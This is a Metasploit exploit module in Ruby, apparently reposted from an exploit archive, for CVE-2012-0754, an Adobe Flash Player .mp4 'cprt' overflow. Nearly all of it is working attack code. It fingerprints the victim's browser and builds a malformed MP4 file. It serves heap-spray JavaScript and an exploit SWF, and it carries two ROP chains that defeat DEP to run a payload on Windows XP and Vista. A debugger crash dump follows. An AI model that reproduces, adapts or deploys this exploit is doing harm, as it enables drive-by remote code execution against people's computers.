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Adobe Flash Player .mp4 'cprt' Overflow
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player .mp4 'cprt' Overflow", 'Description' => %q{ This module exploits a vulnerability found in Adobe Flash Player. By supplying a corrupt .mp4 file loaded by Flash, it is possible to gain arbitrary remote code exeuction under the context of the user. This vulnerability has been exploited in the wild as part of the "Iran's Oil and Nuclear Situation.doc" phishing campaign. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alexander Gavrun', # Vulnerability discovery 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0754' ], [ 'OSVDB', '79300'], [ 'BID', '52034' ], [ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ] ], 'Payload' => { 'BadChars' => "\x00", 'StackAdjustment' => -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # Flash Player 11.1.102.55 # Flash Player 10.3.183.10 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ], [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ] ], 'Privileged' => false, 'DisclosureDate' => "Feb 15 2012", 'DefaultTarget' => 0)) end def junk(n=4) return rand_text_alpha(n).unpack("L")[0].to_i end def nop return make_nops(4).unpack("L")[0].to_i end def get_payload(t) if ['Rop'].nil? code = "" else code = "\xbc\x0c\x0c\x0c\x0c" #Fix the stack to avoid a busted encoder end code << payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop = [ 0x77c4e392, # POP EAX # RETN 0x77c11120, # <- *&VirtualProtect() 0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77c2dd6c, 0x77c4ec00, # POP EBP # RETN 0x77c35459, # ptr to 'push esp # ret' 0x77c47705, # POP EBX # RETN 0x00000800, # <- change size to mark as executable if needed (-> ebx) 0x77c3ea01, # POP ECX # RETN 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) 0x77c46100, # POP EDI # RETN 0x77c46101, # ROP NOP (-> edi) 0x77c4d680, # POP EDX # RETN 0x00000040, # newProtect (0x40) (-> edx) 0x77c4e392, # POP EAX # RETN nop, # NOPS (-> eax) 0x77c12df9, # PUSHAD # RETN ].pack("V*") when :jre print_status("Using JRE ROP") rop = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) 0x7c347f98, # RETN (ROP NOP) 0x7c3415a2, # JMP [EAX] 0xffffffff, 0x7c376402, # skip 4 bytes 0x7c351e05, # NEG EAX # RETN 0x7c345255, # INC EBX # FPATAN # RETN 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN 0x7c344f87, # POP EDX # RETN 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN 0x7c34d201, # POP ECX # RETN 0x7c38b001, # &Writable location 0x7c347f97, # POP EAX # RETN 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN 0x7c345c30, # ptr to 'push esp # ret ' ].pack("V*") end pivot = [0x77C1CAFB].pack('V*') #POP/POP/RET pivot << [0x41414141].pack('V*') pivot << [t.ret].pack('V*') code = pivot + rop + code return code end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3] #IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[5] #IE 7 on Windows Vista else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported, will not launch attack: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}") send_not_found(cli) return end print_status("Client requesting: #{request.uri}") # The SWF requests our MP4 trigger if request.uri =~ /\.mp4$/ print_status("Sending MP4 to #{cli.peerhost}:#{cli.peerport}...") mp4 = create_mp4(my_target) send_response(cli, mp4, {'Content-Type'=>'video/mp4'}) return end if request.uri =~ /\.swf$/ print_status("Sending Exploit SWF") send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' }) return end p = get_payload(my_target) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js_pivot = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); heap_obj.debug(true); for (var i=1; i < 0x1C2; i++) { heap_obj.alloc(block); } heap_obj.debug(true); JS js_pivot = heaplib(js_pivot, {:noobfu => true}) swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource swf_uri << "/Exploit.swf" print_status(swf_uri) html = %Q| <html> <head> <script> #{js_pivot} </script> </head> <body> <center> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="test" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"> <param name="movie" value="#{swf_uri}" /> <embed src="#{swf_uri}" quality="high" width="1" height="1" name="test" align="middle" allowNetworking="all" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"> </embed> </object> </center> </body> </html> | html = html.gsub(/^\t\t/, '') # # "/test.mp4" is currently hard-coded in the swf file, so we ned to add to resource # proc = Proc.new do |cli, req| on_request_uri(cli, req) end add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end def exploit @swf = create_swf super end def create_swf path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" ) fd = File.open( path, "rb" ) swf = fd.read(fd.stat.size) fd.close return swf end def create_mp4(target) mp4 = "" mp4 << "\x00\x00\x00\x18" mp4 << "ftypmp42" mp4 << "\x00\x00\x00\x00" mp4 << "mp42isom" mp4 << "\x00\x00\x00\x0D" mp4 << "cprt" mp4 << "\x00\xFF\xFF\xFF" mp4 << "\x00\x00\x00\x00" mp4 << "\x0c\x0c\x0c\x0c" * 2586 return mp4 end end =begin C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx (510.9b4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000 eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx - Flash10x+0x48b65: 10048b65 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=???????? =end # 0day.today [2024-08-22] #